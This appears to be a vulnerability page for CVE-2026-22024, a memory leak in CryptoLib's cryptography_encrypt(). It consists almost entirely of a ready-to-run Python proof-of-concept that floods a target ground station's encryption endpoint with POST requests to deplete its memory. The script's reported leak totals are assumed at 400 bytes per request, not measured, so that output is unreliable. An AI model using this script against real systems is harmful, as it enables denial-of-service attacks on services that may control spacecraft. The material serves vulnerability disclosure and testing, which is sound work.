CVE-2026-22024 CryptoLib cryptography_encrypt() 内存泄漏漏洞

#!/usr/bin/env python3 """ CVE-2026-22024 PoC - CryptoLib Memory Leak This PoC demonstrates the memory leak in CryptoLib's cryptography_encrypt() function. Each call to the encryption function leaks approximately 400 bytes of memory. """ import requests import time import sys def trigger_memory_leak(target_url, iterations=1000): """ Trigger the memory leak by repeatedly calling the encryption endpoint. Args: target_url: URL of the vulnerable CryptoLib endpoint iterations: Number of times to trigger the leak """ print(f"[*] Starting memory leak test against {target_url}") print(f"[*] Target iterations: {iterations}") leaked_bytes = 0 bytes_per_leak = 400 for i in range(iterations): try: # Trigger the vulnerable cryptography_encrypt() function response = requests.post( f"{target_url}/api/v1/encrypt", json={ "spacecraft_id": "SAT-001", "payload": "test_data", "timestamp": int(time.time()) }, timeout=5 ) leaked_bytes += bytes_per_leak if (i + 1) % 100 == 0: print(f"[*] Iteration {i + 1}/{iterations} - Estimated leaked: {leaked_bytes} bytes") except requests.exceptions.RequestException as e: print(f"[!] Request failed at iteration {i + 1}: {e}") continue print(f"[+] Test complete. Estimated total leaked: {leaked_bytes} bytes") print(f"[+] After {iterations} calls, system memory would be significantly depleted") return leaked_bytes if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve_2026_22024_poc.py <target_url>") print("Example: python cve_2026_22024_poc.py http://vulnerable-groundstation.local") sys.exit(1) target = sys.argv[1] trigger_memory_leak(target, iterations=1000)